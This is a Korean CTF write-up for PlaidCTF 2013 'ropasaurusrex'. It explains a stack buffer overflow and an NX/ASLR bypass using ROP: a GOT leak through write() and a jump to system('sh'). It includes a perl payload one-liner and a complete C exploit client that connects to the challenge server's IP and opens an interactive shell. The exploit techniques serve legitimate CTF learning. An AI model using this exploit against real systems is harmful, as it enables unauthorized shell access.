본문 바로가기

Games/CTF

PlaidCTF 2013 ropasaurusrex


Plaid CTF 2013 ropasaurusrex.pdf


리눅스 데몬과 libc 의 바이너리를 주고

데몬이 돌고있는 주소가 주어진다.

54.234.151.114:1025


프로그램은 매우 간단하다.

어떤 함수를 한번 호출하고 write 함수를 통해 "WIN" 이라는 글자를 출력하고 끝난다.



80483f4 함수는 아래와 같다.


스택상에 136바이트의 버퍼를 할당한다음 256바이트를 read 로 입력받는다.

140바이트째 input 부터 리턴주소를 덮어쓰게 된다.

stdio 를 통한 입출력이 network 로 연결되는것을 보면 이미 슈퍼데몬을 통해

IO 가 리다이렉션 되어있으므로 remote shell 을 딸 필요없이 local shell 만 따면 된다.


바이너리는 NX 가 걸려있으므로 주어진 libc 를 보고 ROP 를 하라는 것이다.

그러나 ASLR 이 걸려있는지는 알 수가 없다.  그래서 처음에는 libc 베이스 주소를

brute-force 하면 되겠지... 하고 일단 exploit payload 를 아래와같이 작성했다.


stack : [&system][0xDEADBEEF][&"sh"]

perl -e 'print"A"x140, "\x50\x74\x16\x00\x41\x41\x41\x41\x01\xd8\x24\x00", "A"x104, "id"'


프로그램을 통해서 libc base 를 0x110000 ~ 0xFF0000 까지 변화하면서 돌려봤는데
아무 반응이 없다... 로컬상에서 테스트했을때는 쉘이 잘 터졌는데 아무 반응이 없는걸보면
분명 ASLR 이 걸려있고 libc 베이스가 일반적인 주소가 아닌것 같다.


고민끝에 write 와 GOT 는 고정된 주소에 있으므로 이를 통해 GOT 를 읽고

거기서부터 libc base 를 추정해서 다시 read 로 뛰는 방법을 생각했다.


got 는 0x8049600 에 있다.


취약점이 있는 함수에 브포를 걸고 GOT 를 확인했다.


write 부분 수행 직후의 GOT 를 확인하고 이전 GOT 엔트리와 비교하므로써 write@GOT 를 찾았다.


내 테스트환경에서의 write@libc 는 0x1ebda0 인데, 이건 중요치않고 write 가 GOT+0x14 에 있다는 것이 중요하다.

이제 머리속에 ASLR 이 걸려있어도 100% 쉘을 딸수있는 시나리오가 만들어졌다.

시나리오는 다음과 같다


1. ROP페이로드를 write( 1, 0x80489600, 256 ) 호출이후 한번더 취약함수로 뛰도록 설정

2. write 의 결과를 받고 거기서 GOT+0x14 로부터 write 의 주소를 가져옴

3. write, system, "sh" 간의 상대주소는 알고있으므로 이때의 system, "sh" 의 주소계산

4. 두번째 ROP 페이로드를 system("sh") 로 설정

5. 쉘 획득!!


시나리오를 위한 ROP 스택은 다음과 같이 구성해야한다.

ROP 페이로드 1 : [  &write   ][  &vuln  ][     1    ][   &got   ][   256   ]

ROP 페이로드 2 : [ &system ][  xxxx    ][ &"sh" ]


write 의 파일오프셋은 0xbf190 이었다.


system 의 파일오프셋은 0x39450 이다.


"sh" 의 파일오프셋은 0x11f801 을 사용했다.


이를 기반으로 계산된 상대주소는 아래와 같다

system 의 write 기준 상대주소 : -85D40

sh 의 write 기준 상대주소 : 602a5


이 시나리오를 수행해줄 프로그램을 C 로 아래와같이 작성했다

(당장 파이썬익혀야겠다... C로 하느라 훨신오래걸렸다)


#include "stdio.h"
#include "string.h"
#include "stdlib.h"
#include "sys/socket.h"
#include "sys/types.h"
#include "netinet/in.h" 
unsigned int system_offset = 0x0;
unsigned int sh_str_offset = 0x0;
char output[4096];
int main(int argc, char *argv[]){
 
    int sockfd;
    struct sockaddr_in servaddr;
    unsigned char rbuf[4096];
    char sbuf[4096];
    int cnt = 0;
    int n=0;

    sockfd=socket(AF_INET,SOCK_STREAM,0);
    bzero(&servaddr,sizeof(servaddr));
    servaddr.sin_family=AF_INET;
    inet_pton(AF_INET,"54.234.151.114",&servaddr.sin_addr);
    servaddr.sin_port=htons(1025);
    if(connect(sockfd,(struct sockaddr*)&servaddr,sizeof(servaddr))==0){
	printf("connected \n");
    }
    else{
        printf("cant connect\n");
	close(sockfd);
    }

	// ROP stack [&write][&vuln][   1   ][ &got ][ 256 ]
	memcpy(sbuf+140, "\x0c\x83\x04\x08\x26\x84\x04\x08\x01\x00\x00\x00\x00\x96\x04\x08\x00\x01\x00\x00", 20);
	send(sockfd, sbuf, 256, 0);
        n = recv(sockfd, rbuf, 4096, 0);

	if(n > 0){
		printf("got something!!\n");
		printf("[%d] %s\n", n, rbuf);
		dump(rbuf, 128);

		// GOT + 20 -> write
		memcpy(&system_offset, &rbuf[20], 4);		
		memcpy(&sh_str_offset, &rbuf[20], 4);

		system_offset -= 0x85d40;	//system 의 write 기준 상대주소 : -85D40
		sh_str_offset += 0x602a5;	//sh 의 write 기준 상대주소 : 602a5

		printf("system : %08x, sh : %08x\n", system_offset, sh_str_offset);

		memset(output, 'A', 256);
		memcpy(output + 140, &system_offset, 4);
		memcpy(output + 144, &system_offset, 4);
		memcpy(output + 148, &sh_str_offset, 4);
		memcpy(output + 152, &sh_str_offset, 4);

		send(sockfd, output, 256, 0);
		printf("sent %d\n", cnt);
		memset(rbuf, 0, 4096);

		while(1){
			memset(output, 0, 4096);
			printf("#>");
			fflush(stdin);
			fgets(output, 100, stdin);
						
			send(sockfd, output, strlen(output), 0);
			send(sockfd, "\n", 1, 0);
			printf("[%s] cmd sent\n", output);
			memset(rbuf, 0, 4096);
			n = recv(sockfd, rbuf, 4096, 0);
			if(n>0){	
				printf("got something2!!\n");
				printf("%s\n", rbuf);
				getchar();
			}
			else
				printf("no\n");
		}
	}

	printf("end\n");
	return 0;
}


결과적으로 아래와 같이 쉘을 딸 수 있었다.



flag : you_cant_stop_the_ropasaurusrex


처음에 바보같이 리모트쉘을 따야하는지알고 dup2 를 넣고, libc 베이스 주소계산 잘못하고

브루트포싱으로 시간날리고... C 코딩실수로 삽질하고... 별의별 삽질을 다하는통에

풀이에 무려 7~8시간 가까이 걸렸다... 지금보면 파이썬만 제대로 익히고

쓸대없는 삽질들만 안했으면 1~2시간이면 충분한 문제인거같은데

아직 너무 실력이 부족하다는걸 깨닳게 해주는 문제였다 -_-


'Games > CTF' 카테고리의 다른 글

SECUINSIDE 2013 127.0.0.1  (2) 2013.05.28
SECUINSIDE 2013 givemeshell  (0) 2013.05.28
JFF2 Hunter  (0) 2013.03.19
DEFCON20 PWN100  (0) 2013.03.19
Forbidden BITS x96  (0) 2013.03.19